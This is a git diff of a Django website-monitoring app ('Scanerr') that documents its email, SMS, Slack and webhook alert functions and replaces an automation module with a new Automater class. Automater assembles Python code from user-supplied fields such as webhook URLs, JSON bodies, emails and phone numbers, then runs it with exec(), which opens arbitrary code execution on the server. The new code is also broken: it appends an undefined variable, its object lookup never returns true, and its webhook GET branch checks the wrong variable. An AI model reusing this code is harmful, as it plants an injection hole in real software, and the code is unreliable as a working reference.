@@ -180,6 +392,7 @@ def create_json_data(data, obj):
         elif 'accessibility' == json_data[key]:
             json_data[key] = item.lighthouse["scores"]["accessibility"]
 
+        # YL test data
         elif 'current_yellowlab_average' == json_data[key]:
             json_data[key] = item.yellowlab_delta["scores"]["current_average"]
         elif 'pageWeight_delta' == json_data[key]:
@@ -203,6 +416,7 @@ def create_json_data(data, obj):
         elif 'serverConfig_delta' == json_data[key]:
             json_data[key] = item.yellowlab_delta["scores"]["serverConfig_delta"]
         
+        # YL scan data
         elif 'yellowlab_average' == json_data[key]:
             json_data[key] = item.yellowlab["scores"]["globalScore"]
         elif 'pageWeight' == json_data[key]:
@@ -226,38 +440,60 @@ def create_json_data(data, obj):
         elif 'serverConfig' == json_data[key]:
             json_data[key] = item.yellowlab["scores"]["serverConfig"]
 
-        elif 'avg_image_score' == json_data[key]:
-            json_data[key] = item.images_delta["average_score"]
-        elif 'image_scores' == json_data[key]:
-            json_data[key] = [i["score"] for i in item.images_delta["images"]]
+    # return updated json
+    return json_data
 
 
-    return json_data
 
 
+def get_item(object_id: str=None) -> dict:
+    """ 
+    Tries to find an object that matches theh passed 'object_id'.
 
+    Expects: {
+        'object_id':  str,
+    }
 
+    Returns -> data: {
+        'item'      : object (Scan, Test, Testcase),
+        'item_type' : str,
+        'success'   : bool
+    }
+    """
 
+    # init item
+    item = None
+    item_type = ''
+    success = False
 
-def get_item(object_id):
-    try:
-        item = Test.objects.get(id=uuid.UUID(object_id))
-        item_type = 'Test'
-    except:
+    # check for item
+    if not item:
+        try:
+            item = Test.objects.get(id=uuid.UUID(object_id))
+            item_type = 'Test'
+            success = True
+        except:
+            pass
+    if not item:
         try:
             item = Scan.objects.get(id=uuid.UUID(object_id))
             item_type = 'Scan'
+            success = True
         except:
-            try:
-                item = Testcase.objects.get(id=uuid.UUID(object_id))
-                item_type = 'Testcase'
-            except:
-                return {'success': False}
-
+            pass
+    if not item:
+        try:
+            item = Testcase.objects.get(id=uuid.UUID(object_id))
+            item_type = 'Testcase'
+            success = True
+        except:
+            pass
+    
+    # format and return data
     data = {
-        'item_type': item_type, 
         'item': item,
-        'success': True
+        'item_type': item_type, 
+        'success': success
     }
 
     return data
@@ -265,10 +501,29 @@ def get_item(object_id):
 
 
 
+def automation_email(email: str=None, automation_id: str=None, object_id: str=None) -> dict:
+    """
+    Sends an automation email to the User with 
+    the passed 'email'
+
+    Expects: {
+        'email'         : str,
+        'automation_id' : str,
+        'object_id'     : str
+    }
+
+    Returns -> data: {
+        'success': bool
+    }
+    """
 
-def automation_email(email=None, automation_id=None, object_id=None):
+    # check if data is present
     if email and automation_id:
+        
+        # retrieving user
         user = User.objects.get(email=email)
+
+        # get automation and deciding if "page" or "site" scope
         automation = Automation.objects.get(id=automation_id)
         schedule = automation.schedule
         if schedule.site is not None:
@@ -283,11 +538,17 @@ def automation_email(email=None, automation_id=None, object_id=None):
         if not data['success']:
             return {'success': False}
 
+        # getting object data
         item = data['item']
         item_type = data['item_type']
 
-        exp_list = create_exp_str(item=item, automation=automation, is_email=True)
+        # generating expressions from automation
+        exp_list = create_exp_str(
+            item=item, 
+            automation=automation
+        )['exp_list']
 
+        # build email data
         object_url = str(os.environ.get('CLIENT_URL_ROOT') + url_end)
         subject = f'Alert for {url}'
         title = f'Alert for {url}'
@@ -300,7 +561,6 @@ def automation_email(email=None, automation_id=None, object_id=None):
             f'This message was triggered by an automation you created. ' 
             f'You can change the automation and schedule in your site\'s dashboard. '
         )
-        subject = subject
 
         context = {
             'title' : title,
@@ -316,6 +576,7 @@ def automation_email(email=None, automation_id=None, object_id=None):
             'signature' : '- Cheers!',
         }
 
+        # send email
         sendgrid_email(message_obj=context)
 
         data = {
@@ -332,9 +593,29 @@ def automation_email(email=None, automation_id=None, object_id=None):
 
 
 
+def automation_report_email(email: str=None, automation_id: str=None, object_id: str=None) -> dict:
+    """
+    Sends an automation report email to the User with 
+    the passed 'email'
+
+    Expects: {
+        'email'         : str,
+        'automation_id' : str,
+        'object_id'     : str
+    }
 
-def automation_report_email(email=None, automation_id=None, object_id=None):
+    Returns -> data: {
+        'success': bool
+    }
+    """
+
+    # check if data is present
     if email and automation_id:
+        
+        # retrieving user
+        user = User.objects.get(email=email)
+
+        # get automation and deciding if "page" or "site" scope
         automation = Automation.objects.get(id=automation_id)
         schedule = automation.schedule
         if schedule.site is not None:
@@ -343,12 +624,15 @@ def automation_report_email(email=None, automation_id=None, object_id=None):
         else:
             url_end = '/page/'+str(schedule.page.id)
             url = schedule.page.page_url
+        
+        # get `Report` if exists
         try:
             item = Report.objects.get(id=uuid.UUID(object_id))
             item_type = 'Report'
         except:
             return {'success': False}
 
+        # build email data
         exp_list = ''
         object_url = str(item.path)
         subject = f'Report for {url}'
@@ -362,9 +646,10 @@ def automation_report_email(email=None, automation_id=None, object_id=None):
             f'This message was triggered by an automation created with Scanerr. ' 
             f'You can change the automation and schedule in your site\'s dashboard. '
         )
-        subject = subject
+
         context = {
             'title' : title,
+            'subject': subject,
             'pre_header' : pre_header,
             'pre_content' : pre_content,
             'exp_list': exp_list,
@@ -372,19 +657,12 @@ def automation_report_email(email=None, automation_id=None, object_id=None):
             'home_page' : os.environ.get('CLIENT_URL_ROOT'),
             'button_text' : 'View Report',
             'content' : content,
+            'email': email,
             'signature' : '- Cheers!',
         }
 
-        html_message = render_to_string('api/automation_email.html', context)
-        plain_message = strip_tags(html_message)
-        send_mail(
-            from_email = os.getenv('EMAIL_HOST_USER'),
-            subject = subject,
-            message = plain_message,
-            recipient_list = [email],
-            html_message = html_message,
-            fail_silently = True,
-        )
+        # send email
+        sendgrid_email(message_obj=context)
 
         data = {
             'success': True
@@ -401,13 +679,33 @@ def automation_report_email(email=None, automation_id=None, object_id=None):
 
 
 def automation_webhook(
-        request_type=None, 
-        request_url=None, 
-        request_data=None,
-        automation_id=None, 
-        object_id=None,
-    ):
+        request_type: str=None, 
+        request_url: str=None, 
+        request_data: dict=None,
+        automation_id: str=None, 
+        object_id: str=None,
+    ) -> dict:
+    """
+    Sends a GET or POST request to the passed 'request_url'
+    with the passed 'request_data'
+
+    Expects: {
+        'request_type'    : str, 
+        'request_url'     : str, 
+        'request_data'    : dict,
+        'automation_id'   : str, 
+        'object_id'       : str,
+    }
+
+    Returns -> data: {
+        'success': bool
+    }
+    """
+
+    # checking that data is present
     if request_type and automation_id and request_url and request_data and object_id:
+
+        # deciding if "page" or "site" scope
         automation = Automation.objects.get(id=automation_id)
         schedule = automation.schedule
         if schedule.site is not None:
@@ -422,22 +720,22 @@ def automation_webhook(
         if not data['success']:
             return {'success': False}
 
+        # get object and type
         item = data['item']
         item_type = data['item_type']
         
+        # building json
         pre_json_data = json.loads(request_data)
-        json_data = create_json_data(data=pre_json_data, obj=item)
+        json_data = create_json_data(pre_json_data, item)
 
+        # send the request
         try:
             if request_type == 'POST':
                 response = requests.post(request_url, data=json_data)
             elif request_data == 'GET':
                 response = requests.get(request_url, params=json_data)
-
-            print(response.json())
-
         except:
-            data = {'success': False}
+            return {'success': False}
 
         data = {
             'success': True
@@ -453,9 +751,26 @@ def automation_webhook(
 
 
 
+def automation_phone(phone_number: str=None, automation_id: str=None, object_id: str=None) -> dict:
+    """
+    Sends an SMS alert to the passed 'phone_number' 
+    with the `Automation` data 
+
+    Expects: {
+        'phone_number'    : str, 
+        'automation_id'   : str, 
+        'object_id'       : str,
+    }
 
-def automation_phone(phone_number=None, automation_id=None, object_id=None):
+    Returns -> data: {
+        'success': bool
+    }
+    """
+
+    # checking if data is present
     if phone_number and automation_id and object_id:
+
+        # deciding on "page" or "site" scope
         automation = Automation.objects.get(id=automation_id)
         schedule = automation.schedule
         if schedule.site is not None:
@@ -470,11 +785,14 @@ def automation_phone(phone_number=None, automation_id=None, object_id=None):
         if not data['success']:
             return {'success': False}
 
+        # get obj and type
         item = data['item']
         item_type = data['item_type']
 
-        exp_str = create_exp_str(item=item, automation=automation)
+        # build the exp_str
+        exp_str = create_exp(item=item, automation=automation)['exp_str']
 
+        # build message data
         object_url = str(os.environ.get('CLIENT_URL_ROOT') + url_end)
         pre_content = (
             f'Scanerr just finished running a {item_type} for {url}. ' 
@@ -484,13 +802,12 @@ def automation_phone(phone_number=None, automation_id=None, object_id=None):
             f'This message was triggered by an automation you created. ' 
             f'You can change the automation and schedule in your site\'s dashboard. '
         )
-
         body = f'Hi there,\n\n{pre_content}{content}\n{object_url}'
-
         account_sid = os.environ.get("TWILIO_SID")
         auth_token  = os.environ.get("TWILIO_AUTH_TOKEN")
         client = Client(account_sid, auth_token)
 
+        # send message
         message = client.messages.create(
             to=phone_number, 
             from_=os.environ.get('TWILIO_NUMBER'),
@@ -511,8 +828,24 @@ def automation_phone(phone_number=None, automation_id=None, object_id=None):
 
 
 
-def automation_slack(automation_id=None, object_id=None):
+def automation_slack(automation_id: str=None, object_id: str=None) -> dict:
+    """
+    Sends a Slack alert with the `Automation` data 
+
+    Expects: {
+        'automation_id'   : str, 
+        'object_id'       : str,
+    }
+
+    Returns -> data: {
+        'success': bool
+    }
+    """
+
+    # check if data is present
     if automation_id and object_id:
+        
+        # getting account and deciding on "page" or "site" scope
         automation = Automation.objects.get(id=automation_id)
         account = Account.objects.get(user=automation.user)
         schedule = automation.schedule
@@ -523,17 +856,19 @@ def automation_slack(automation_id=None, object_id=None):
             url_end = '/page/'+str(schedule.page.id)
             url = schedule.page.page_url
 
-
         # getting object
         data = get_item(object_id=object_id)
         if not data['success']:
             return {'success': False}
 
+        # get obj and type
         item = data['item']
         item_type = data['item_type']
 
-        exp_str = create_exp_str(item=item, automation=automation)
+        # build exp_str
+        exp_str = create_exp(item=item, automation=automation)['exp_str']
 
+        # build message data
         object_url = str(os.environ.get('CLIENT_URL_ROOT') + url_end)
         pre_content = (
             f'Scanerr just finished running a {item_type} for {url}. ' 
@@ -543,13 +878,12 @@ def automation_slack(automation_id=None, object_id=None):
             f'This message was triggered by an automation you created. ' 
             f'You can change the automation and schedule in your site\'s dashboard. '
         )
-
         body = f'Hi there,\n\n{pre_content}{content}\n{object_url}'
-
         token = account.slack['bot_access_token']
         channel = account.slack['slack_channel_id']
-
         client = WebClient(token=token) 
+
+        # send message
         try:
             response = client.chat_postMessage(
                 channel=channel,
@@ -582,35 +916,31 @@ def automation_slack(automation_id=None, object_id=None):
 
 
 
-
-
-
-def sendgrid_email(message_obj):
+def sendgrid_email(message_obj: dict=None) -> dict:
     """
     Tries to send an email via the SendGrid API.
 
     Expects the following:
-        "message_obj": <obj> {
-            'pre_content':  <str>,
-            'content':      <str>,
-            'subject':      <str>,
-            'title':        <str>,
-            'pre_header':   <str>,
-            'button_text':  <str>,
-            'exp_list':     <array>,
-            'email':        <str>,
-            'template':     <str>,
-            'object_url':   <str>,
-            'signature':    <str>,
-            'greeting':     <str>,
+        'message_obj': dict {
+            'pre_content':  str,
+            'content':      str,
+            'subject':      str,
+            'title':        str,
+            'pre_header':   str,
+            'button_text':  str,
+            'exp_list':     list,
+            'email':        str,
+            'template':     str,
+            'object_url':   str,
+            'signature':    str,
+            'greeting':     str,
         }
 
     Returns --> data: {
-        'message': True
+        'success': bool
     }
     """
 
-
     # defining data
     pre_content = message_obj.get('pre_content')
     content = message_obj.get('content')
@@ -624,7 +954,6 @@ def sendgrid_email(message_obj):
     signature = message_obj.get('signature', '- Cheers!')
     greeting = message_obj.get('greeting', 'Hi there,')
 
-
     # build template data
     template_data = {
         'greeting': greeting,
@@ -647,7 +976,6 @@ def sendgrid_email(message_obj):
     if exp_list is not None:
         template = settings.AUTOMATION_TEMPLATE
 
-
     # init SendGrid message
     message = Mail(
         from_email=From('hello@scanerr.io', 'Scanerr'),  # prod -> settings.EMAIL_HOST_USER
@@ -663,13 +991,22 @@ def sendgrid_email(message_obj):
         sg = SendGridAPIClient(settings.SENDGRID_API_KEY)
         response = sg.send(message)
         status = True
+        error = None
     except Exception as e:
         status = False
+        error = e.message
         print(e.message)
 
-    
+    # formatting resposne
     data = {
-        'success': status
+        'success': status,
+        'error': error
     }
 
     return data
+
+
+
+
+
+
diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index f28d2ee9..a9bce7e6 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -1,23 +1,38 @@
 from selenium import webdriver
-from selenium.webdriver import ActionChains
 from selenium.webdriver.common.by import By
-from selenium.webdriver.common.actions.action_builder import ActionBuilder
 from .driver_s import driver_init, driver_wait, quit_driver
 from ..models import Site, Case
 from scanerr import settings
-import time, os, json, sys, uuid, random, boto3
+import time, os, json, uuid, random, boto3
+
 
 
 
 
 
 class AutoCaser():
+    """ 
+    Generate new `Cases` for the passed 'site'.
+
+    Expects: {
+        'site'        : object,
+        'process'     : object,
+        'start_url'   : str,
+        'configs'     : dict,
+        'max_cases'   : int,
+        'max_layers'  : int
+    }
+
+    Use `AutoCaser.build_cases()` to generate new `Cases`
+
+    Returns -> None
+    """
 
 
     def __init__(
             self, 
-            site,
-            process,
+            site: object,
+            process: object,
             start_url: str=None,
             configs: dict=settings.CONFIGS,
             max_cases: int=4, 
@@ -174,7 +189,7 @@ def is_element_visible(self, element: object) -> bool:
 
 
 
-    def get_element_image(self, element: object):
+    def get_element_image(self, element: object) -> str:
         try:
             image = element.screenshot_as_base64
             # sleep for .5 seconds to let image process
@@ -256,6 +271,9 @@ def get_priority_elements(self, elements: list) -> dict:
 
 
     def get_current_elements(self) -> list:
+        # returns a list of interactable 
+        # elements on the current page and 
+        # removes and duplicates before returning
         buttons = self.driver.find_elements(By.TAG_NAME, 'button')
         links = self.driver.find_elements(By.TAG_NAME, 'a')
         forms = self.driver.find_elements(By.TAG_NAME, 'form')
@@ -283,9 +301,10 @@ def get_current_elements(self) -> list:
         random.shuffle(forms)
         random.shuffle(inputs_textareas_buttons)
         random.shuffle(links)
-        
+
         current_elements = forms + inputs_textareas_buttons + links
 
+        # return result
         return current_elements
 
 
@@ -312,7 +331,6 @@ def check_for_duplicates(self, selector: str, elements: list=None) -> bool:
             if elem['elements'] != None:
                 self.check_for_duplicates(selector=selector, elements=elem['elements'])
         
-
         # return result
         return found_duplicate
 
@@ -361,11 +379,11 @@ def get_clean_elements(self, elements: list, check_against: list=None) -> list:
 
     def record_new_element(self, elem: object, sub_elements: list) -> dict:
         """
-            returns -> {
-                'sub_elements': [],
-                'run': bool,
-                'added': bool,
-            }
+        returns -> {
+            'sub_elements': [],
+            'run': bool,
+            'added': bool,
+        }
         """
         # setting defaults
         run = True
@@ -658,7 +676,7 @@ def record_forms(self, elements: list, form: object=None) -> list:
 
 
 
-    def get_elements(self):
+    def get_elements(self) -> list:
 
         # get site page
         if self.start_url is not None:
@@ -917,7 +935,7 @@ def get_elements(self):
 
 
 
-    def build_cases(self):
+    def build_cases(self) -> None:
 
         # run get_elements
         elements = self.get_elements()
diff --git a/app/api/utils/automater.py b/app/api/utils/automater.py
new file mode 100644
index 00000000..b53a7dd2
--- /dev/null
+++ b/app/api/utils/automater.py
@@ -0,0 +1,312 @@
+from ..models import *
+from .alerts import *
+import re, uuid
+
+
+
+
+
+
+class Automater():
+    """ 
+    Build and execute `Automation` logic generated by a user.
+
+    Expects: {
+        'automation_id' : str,
+        'object_id'     : str
+    }
+
+    Use `Automater.run_automation()` to run an `Automation`
+
+    Returns -> None
+    """
+
+
+    def __init__(self, automation_id: str=None, object_id: str=None):
+    
+        self.automation = Automation.objects.get(id=automation_id)
+        self.object_id = object_id
+        self.exp_list = []
+        self.act_list = []
+        self.object = None
+        self.use_exp = True
+
+
+
+
+    def get_object(self) -> bool:
+        """
+        Tries to get the focus object from self.object - if found 
+        will set self.object and self.use_exp
+
+        Returns -> bool
+        """
+
+        if self.automation.schedule.task_type == 'scan':
+            try:
+                self.object = Scan.objects.get(id=self.object_id)
+            except:
+                return False
+
+        elif self.automation.schedule.task_type == 'test':
+            try:
+                self.object = Test.objects.get(id=self.object_id)
+            except:
+                return False
+        
+        elif self.automation.schedule.task_type == 'report':
+            try:
+                self.object = Report.objects.get(id=self.object_id)
+                self.use_exp = False
+            except:
+                return False
+
+        elif self.automation.schedule.task_type == 'testcase':
+            try:
+                self.object = Testcase.objects.get(id=self.object_id)
+                self.use_exp = True
+            except:
+                return False
+
+        else:
+            return False      
+    
+
+
+
+    def build_exp_list(self) -> None:
+        """ 
+        Loop through the automation.expressions
+        and rebuilds into self.exp_list
+
+        Returns -> None
+        """
+                
+        # begin iteration
+        for expression in self.automation.expressions:
+
+            # set defaults
+            exp = None
+            data_type = None
+            operator = ' == '
+            joiner = ''
+            data_type = 'self.object.passed'
+            value = str(expression['value'])
+
+            # getting data
+            if self.object == None:
+                
+                # get comparison value
+                value = str(float(re.search(r'\d+', str(expression['value'])).group()))
+
+                # get operator
+                if '>=' in expression['operator']:
+                    operator = ' >= '
+                else:
+                    operator = ' <= '
+                
+                # get joiner
+                if 'and' in expression['joiner']:
+                    joiner = ' and '
+                elif 'or' in expression['joiner']:
+                    joiner = ' or '
+                else:
+                    joiner = ''
+
+
+            # high-level test data 
+            if 'test_score' in expression['data_type']:
+                data_type = 'float(self.object.score)'
+            elif 'current_health' in expression['data_type']:
+                data_type = '((float(self.object.lighthouse_delta["scores"]["current_average"]) + float(self.object.yellowlab_delta["scores"]["current_average"]))/2)'
+            elif 'avg_image_score' in expression['data_type']:
+                data_type = 'float(self.object.images_delta["average_score"])'
+            elif 'image_scores' in expression['data_type']:
+                data_type = '[i["score"] for i in self.object.images_delta["images"]]' 
+                exp = f'{joiner}any(i{operator}{value} for i in {data_type})'
+
+            # high-level scan data
+            elif 'health' in expression['data_type']:
+                data_type = '((float(self.object.lighthouse["scores"]["average"]) + float(self.object.yellowlab["scores"]["globalScore"]))/2)'
+            elif 'logs' in expression['data_type']:
+                data_type = 'len(self.object.logs)'
+            
+            # LH test data
+            elif 'current_lighthouse_average' in expression['data_type']:
+                data_type = 'float(self.object.lighthouse_delta["scores"]["current_average"])'
+            elif 'seo_delta' in expression['data_type']:
+                data_type = 'float(self.object.lighthouse_delta["scores"]["seo_delta"])'
+            elif 'pwa_delta' in expression['data_type']:
+                data_type = 'float(self.object.lighthouse_delta["scores"]["pwa_delta"])'
+            elif 'crux_delta' in expression['data_type']:
+                data_type = 'float(self.object.lighthouse_delta["scores"]["crux_delta"])'
+            elif 'best_practices_delta' in expression['data_type']:
+                data_type = 'float(self.object.lighthouse_delta["scores"]["best_practices_delta"])'
+            elif 'performance_delta' in expression['data_type']:
+                data_type = 'float(self.object.lighthouse_delta["scores"]["performance_delta"])'
+            elif 'accessibility_delta' in expression['data_type']:
+                data_type = 'float(self.object.lighthouse_delta["scores"]["accessibility_delta"])'
+            
+            # LH scan data
+            elif 'lighthouse_average' in expression['data_type']:
+                data_type = 'float(self.object.lighthouse["scores"]["average"])'
+            elif 'seo' in expression['data_type']:
+                data_type = 'float(self.object.lighthouse["scores"]["seo"])'
+            elif 'pwa' in expression['data_type']:
+                data_type = 'float(self.object.lighthouse["scores"]["pwa"])'
+            elif 'crux' in expression['data_type']:
+                data_type = 'float(self.object.lighthouse["scores"]["crux"])'
+            elif 'best_practices' in expression['data_type']:
+                data_type = 'float(self.object.lighthouse["scores"]["best_practices"])'
+            elif 'performance' in expression['data_type']:
+                data_type = 'float(self.object.lighthouse["scores"]["performance"])'
+            elif 'accessibility' in expression['data_type']:
+                data_type = 'float(self.object.lighthouse["scores"]["accessibility"])'
+
+            # YL test data
+            elif 'current_yellowlab_average' in expression['data_type']:
+                data_type = 'float(self.object.yellowlab_delta["scores"]["current_average"])'
+            elif 'pageWeight_delta' in expression['data_type']:
+                data_type = 'float(self.object.yellowlab_delta["scores"]["pageWeight_delta"])'
+            elif 'images_delta' in expression['data_type']:
+                data_type = 'float(self.object.yellowlab_delta["scores"]["images_delta"])'
+            elif 'domComplexity_delta' in expression['data_type']:
+                data_type = 'float(self.object.yellowlab_delta["scores"]["domComplexity_delta"])'
+            elif 'javascriptComplexity_delta' in expression['data_type']:
+                data_type = 'float(self.object.yellowlab_delta["scores"]["javascriptComplexity_delta"])'
+            elif 'badJavascript_delta' in expression['data_type']:
+                data_type = 'float(self.object.yellowlab_delta["scores"]["badJavascript_delta"])'
+            elif 'jQuery_delta' in expression['data_type']:
+                data_type = 'float(self.object.yellowlab_delta["scores"]["jQuery_delta"])'
+            elif 'cssComplexity_delta' in expression['data_type']:
+                data_type = 'float(self.object.yellowlab_delta["scores"]["cssComplexity_delta"])'
+            elif 'badCSS_delta' in expression['data_type']:
+                data_type = 'float(self.object.yellowlab_delta["scores"]["badCSS_delta"])'
+            elif 'fonts_delta' in expression['data_type']:
+                data_type = 'float(self.object.yellowlab_delta["scores"]["fonts_delta"])'
+            elif 'serverConfig_delta' in expression['data_type']:
+                data_type = 'float(self.object.yellowlab_delta["scores"]["serverConfig_delta"])'
+            
+            # LH scan data
+            elif 'yellowlab_average' in expression['data_type']:
+                data_type = 'float(self.object.yellowlab["scores"]["globalScore"])'
+            elif 'pageWeight' in expression['data_type']:
+                data_type = 'float(self.object.yellowlab["scores"]["pageWeight"])'
+            elif 'images' in expression['data_type']:
+                data_type = 'float(self.object.yellowlab["scores"]["images"])'
+            elif 'domComplexity' in expression['data_type']:
+                data_type = 'float(self.object.yellowlab["scores"]["domComplexity"])'
+            elif 'javascriptComplexity' in expression['data_type']:
+                data_type = 'float(self.object.yellowlab["scores"]["javascriptComplexity"])'
+            elif 'badJavascript' in expression['data_type']:
+                data_type = 'float(self.object.yellowlab["scores"]["badJavascript"])'
+            elif 'jQuery' in expression['data_type']:
+                data_type = 'float(self.object.yellowlab["scores"]["jQuery"])'
+            elif 'cssComplexity' in expression['data_type']:
+                data_type = 'float(self.object.yellowlab["scores"]["cssComplexity"])'
+            elif 'badCSS' in expression['data_type']:
+                data_type = 'float(self.object.yellowlab["scores"]["badCSS"])'
+            elif 'fonts' in expression['data_type']:
+                data_type = 'float(self.object.yellowlab["scores"]["fonts"])'
+            elif 'serverConfig' in expression['data_type']:
+                data_type = 'float(self.object.yellowlab["scores"]["serverConfig"])'
+            
+            # building exp if not defiined
+            if exp is None:
+                exp = f'{joiner}{data_type}{operator}{value}'
+
+            # adding exp to exp_list
+            self.exp_list.append(exp)
+
+        return None
+
+
+
+
+    def build_act_list(self) -> None:
+        """ 
+        Loop through the automation.actions
+        and rebuilds into self.act_list
+
+        Returns -> None
+        """
+
+        # begin iteration
+        for action in self.automation.actions:
+
+            if 'slack' in action['action_type']:
+                action_type = f"\n  print('sending slack alert')\
+                    \n  automation_slack(automation_id='{str(self.automation.id)}', \
+                    object_id='{str(self.object_id)}')"
+            
+            if 'webhook' in action['action_type']:
+                action_type = f"\n  print('sending webhook alert')\
+                    \n  automation_webhook(request_type='{action['request']}', \
+                    request_url='{action['url']}', request_data='{action['json']}', \
+                    automation_id='{str(self.automation.id)}', \
+                    object_id='{str(self.object_id)}')"
+            
+            if 'email' in action['action_type']:
+                action_type = f"\n  print('sending email alert')\
+                    \n  automation_email(email='{action['email']}',\
+                    automation_id='{str(self.automation.id)}', \
+                    object_id='{str(self.object_id)}')"
+                
+                if type(self.object).__name__ == 'Report':
+                    action_type = f"\n  print('sending report email')\
+                        \n  automation_report_email(email='{action['email']}',\
+                        automation_id='{str(self.automation.id)}', \
+                        object_id='{str(self.object_id)}')"
+            
+            if 'phone' in action['action_type']:
+                action_type = f"\n  print('sending phone alert')\
+                    \n  automation_phone(phone_number='{action['phone']}', \
+                    automation_id='{str(self.automation.id)}', \
+                    object_id='{str(self.object_id)}')"
+
+            # adding action to act_list
+            self.act_list.append(act)
+
+
+
+
+    def run_automation(self) -> None:
+
+        # get object data
+        proceed = self.get_object()
+
+        # setting default
+        exp_string = '1 == 1'
+
+        # if obj was retrieved
+        if proceed:
+
+            # build expression if self.use_exp
+            if self.use_exp:
+                self.build_exp_list()
+                exp_string = ' '.join(self.exp_list)
+
+            # build action list
+            self.build_act_list()
+            act_string = ''.join(self.act_list)            
+
+            # building final exec str
+            automation_logic = f'if {exp_string}:{act_string}'
+            print(automation_logic)
+
+            # executing automation logic
+            exec(automation_logic)
+
+        return None
+
+
+        
+
+
+
+
+        
+
+
+        
+        
\ No newline at end of file
diff --git a/app/api/utils/automations.py b/app/api/utils/automations.py
deleted file mode 100644
index 53a235e7..00000000
--- a/app/api/utils/automations.py
+++ /dev/null
@@ -1,242 +0,0 @@
-from ..models import *
-from .alerts import *
-import re, uuid
-
-
-
-def automation(automation_id, object_id):
-    automation = Automation.objects.get(id=automation_id)
-    schedule = automation.schedule
-    expressions = automation.expressions
-    exp_list = []
-    actions = automation.actions
-    act_list = []
-    scan = None
-    test = None
-    report = None
-    testcase = None
-    use_exp = True
-
-    if schedule.task_type == 'scan':
-        try:
-            scan = Scan.objects.get(id=object_id)
-        except:
-            return False
-
-    elif schedule.task_type == 'test':
-        try:
-            test = Test.objects.get(id=object_id)
-        except:
-            return False
-    
-    elif schedule.task_type == 'report':
-        try:
-            report = Report.objects.get(id=object_id)
-            use_exp = False
-        except:
-            return False
-    elif schedule.task_type == 'testcase':
-        try:
-            testcase = Testcase.objects.get(id=object_id)
-            use_exp = True
-        except:
-            return False
-    else:
-        return False      
-    
-
-                
-
-    if use_exp:
-
-        for expression in expressions:
-
-            exp = None
-            data_type = None
-
-            if testcase == None:
-                value = str(float(re.search(r'\d+', str(expression['value'])).group()))
-
-                if '>=' in expression['operator']:
-                    operator = ' >= '
-                else:
-                    operator = ' <= '
-                
-                if 'and' in expression['joiner']:
-                    joiner = ' and '
-                elif 'or' in expression['joiner']:
-                    joiner = ' or '
-                else:
-                    joiner = ''
-            
-            if testcase != None:
-                operator = ' == '
-                joiner = ''
-                data_type = 'testcase.passed'
-                value = str(expression['value'])
-
-
-            if 'test_score' in expression['data_type']:
-                data_type = 'float(test.score)'
-            
-            # lighthouse test data
-            elif 'current_lighthouse_average' in expression['data_type']:
-                data_type = 'float(test.lighthouse_delta["scores"]["current_average"])'
-            elif 'seo_delta' in expression['data_type']:
-                data_type = 'float(test.lighthouse_delta["scores"]["seo_delta"])'
-            elif 'pwa_delta' in expression['data_type']:
-                data_type = 'float(test.lighthouse_delta["scores"]["pwa_delta"])'
-            elif 'crux_delta' in expression['data_type']:
-                data_type = 'float(test.lighthouse_delta["scores"]["crux_delta"])'
-            elif 'best_practices_delta' in expression['data_type']:
-                data_type = 'float(test.lighthouse_delta["scores"]["best_practices_delta"])'
-            elif 'performance_delta' in expression['data_type']:
-                data_type = 'float(test.lighthouse_delta["scores"]["performance_delta"])'
-            elif 'accessibility_delta' in expression['data_type']:
-                data_type = 'float(test.lighthouse_delta["scores"]["accessibility_delta"])'
-            # lighthouse scan data
-            elif 'lighthouse_average' in expression['data_type']:
-                data_type = 'float(scan.lighthouse["scores"]["average"])'
-            elif 'seo' in expression['data_type']:
-                data_type = 'float(scan.lighthouse["scores"]["seo"])'
-            elif 'pwa' in expression['data_type']:
-                data_type = 'float(scan.lighthouse["scores"]["pwa"])'
-            elif 'crux' in expression['data_type']:
-                data_type = 'float(scan.lighthouse["scores"]["crux"])'
-            elif 'best_practices' in expression['data_type']:
-                data_type = 'float(scan.lighthouse["scores"]["best_practices"])'
-            elif 'performance' in expression['data_type']:
-                data_type = 'float(scan.lighthouse["scores"]["performance"])'
-            elif 'accessibility' in expression['data_type']:
-                data_type = 'float(scan.lighthouse["scores"]["accessibility"])'
-
-            # yellowlab test data
-            elif 'current_yellowlab_average' in expression['data_type']:
-                data_type = 'float(test.yellowlab_delta["scores"]["current_average"])'
-            elif 'pageWeight_delta' in expression['data_type']:
-                data_type = 'float(test.yellowlab_delta["scores"]["pageWeight_delta"])'
-            elif 'images_delta' in expression['data_type']:
-                data_type = 'float(test.yellowlab_delta["scores"]["images_delta"])'
-            elif 'domComplexity_delta' in expression['data_type']:
-                data_type = 'float(test.yellowlab_delta["scores"]["domComplexity_delta"])'
-            elif 'javascriptComplexity_delta' in expression['data_type']:
-                data_type = 'float(test.yellowlab_delta["scores"]["javascriptComplexity_delta"])'
-            elif 'badJavascript_delta' in expression['data_type']:
-                data_type = 'float(test.yellowlab_delta["scores"]["badJavascript_delta"])'
-            elif 'jQuery_delta' in expression['data_type']:
-                data_type = 'float(test.yellowlab_delta["scores"]["jQuery_delta"])'
-            elif 'cssComplexity_delta' in expression['data_type']:
-                data_type = 'float(test.yellowlab_delta["scores"]["cssComplexity_delta"])'
-            elif 'badCSS_delta' in expression['data_type']:
-                data_type = 'float(test.yellowlab_delta["scores"]["badCSS_delta"])'
-            elif 'fonts_delta' in expression['data_type']:
-                data_type = 'float(test.yellowlab_delta["scores"]["fonts_delta"])'
-            elif 'serverConfig_delta' in expression['data_type']:
-                data_type = 'float(test.yellowlab_delta["scores"]["serverConfig_delta"])'
-            # yellowlab scan data
-            elif 'yellowlab_average' in expression['data_type']:
-                data_type = 'float(scan.yellowlab["scores"]["globalScore"])'
-            elif 'pageWeight' in expression['data_type']:
-                data_type = 'float(scan.yellowlab["scores"]["pageWeight"])'
-            elif 'images' in expression['data_type']:
-                data_type = 'float(scan.yellowlab["scores"]["images"])'
-            elif 'domComplexity' in expression['data_type']:
-                data_type = 'float(scan.yellowlab["scores"]["domComplexity"])'
-            elif 'javascriptComplexity' in expression['data_type']:
-                data_type = 'float(scan.yellowlab["scores"]["javascriptComplexity"])'
-            elif 'badJavascript' in expression['data_type']:
-                data_type = 'float(scan.yellowlab["scores"]["badJavascript"])'
-            elif 'jQuery' in expression['data_type']:
-                data_type = 'float(scan.yellowlab["scores"]["jQuery"])'
-            elif 'cssComplexity' in expression['data_type']:
-                data_type = 'float(scan.yellowlab["scores"]["cssComplexity"])'
-            elif 'badCSS' in expression['data_type']:
